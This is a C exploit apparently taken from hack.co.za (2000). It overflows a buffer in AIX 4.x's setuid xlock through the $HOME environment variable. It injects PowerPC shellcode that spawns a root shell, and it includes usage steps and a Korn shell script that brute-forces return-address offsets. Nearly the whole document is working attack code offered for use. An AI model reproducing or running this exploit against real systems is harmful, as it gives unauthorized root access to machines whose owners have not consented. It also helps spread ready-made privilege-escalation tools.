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- /*
- *
- * /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V
- *
- * CREDITS: this code is simply a modified version of an exploit
- * posted by Georgi Guninski (guninski@hotmail.com)
- *
- * This will give a #rootshell# by overwriting a buffer
- * via the $HOME environment variable in 'xlock'
- * This exploit is designed for AIX 4.x on PPC platform.
- *
- *
- * USAGE:
- * $ cc -o foo -g aix_xlock.c
- * $ ./foo 3200
- * #
- *
- * HINT: Try giving ranges from 3100 through 3400
- * (If these ranges don't work, then run the brute
- * korn shell script provided after the exploit)
- *
- * DISCLAIMER: use this program in a responsible manner.
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- extern int execv();
-
- #define MAXBUF 600
-
- unsigned int code[]={
- 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
- 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
- 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
- 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
- 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
- 0x7c0903a6 , 0x4e800420, 0x0
- };
-
- char *createvar(char *name,char *value)
- {
- char *c;
- int l;
-
- l=strlen(name)+strlen(value)+4;
- if (! (c=malloc(l)))
- {
- perror("error allocating");
- exit(2);
- };
- strcpy(c,name);
- strcat(c,"=");
- strcat(c,value);
- putenv(c);
- return c;
- }
-
- main(int argc,char **argv,char **env)
- {
- unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
- int min=200, max=300;
- unsigned int return_address;
- char *newenv[8];
- char *args[4];
- int offset=3200;
-
- if (argc==2) offset = atoi(argv[1]);
-
- pt=(unsigned *) &execv;
- toc=*(pt+1);
- eco=*pt;
-
- *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
- *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
- *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
- *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
-
- return_address=(unsigned)&buf[0]+offset;
-
- for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
- strcpy((char*)&buf[nop],(char*)&code);
- i=nop+strlen( (char*) &code)/4-1;
-
- for(i=0;i<max-1;i++) frame[i]=return_address;
- frame[i]=0;
-
- newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
- newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
- newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
- newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
- newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
- newenv[5]=createvar("HOME",(char*)&frame[0]);
-
- args[0]="xlock";
- execve("/usr/bin/X11/xlock",args,newenv);
- perror("Error executing execve \n");
-
- }
- /*
- ----------- Brute Korn Shell Script -----------
- #!/bin/ksh
- L=3000
- O=10
- while [ $L -lt 12000 ]
- do
- echo $L
- L=`expr $L + $O`
- ./foo $L
- done
- ----------- End Brute Shell Script ------------
- */
- /* www.hack.co.za [2000]*/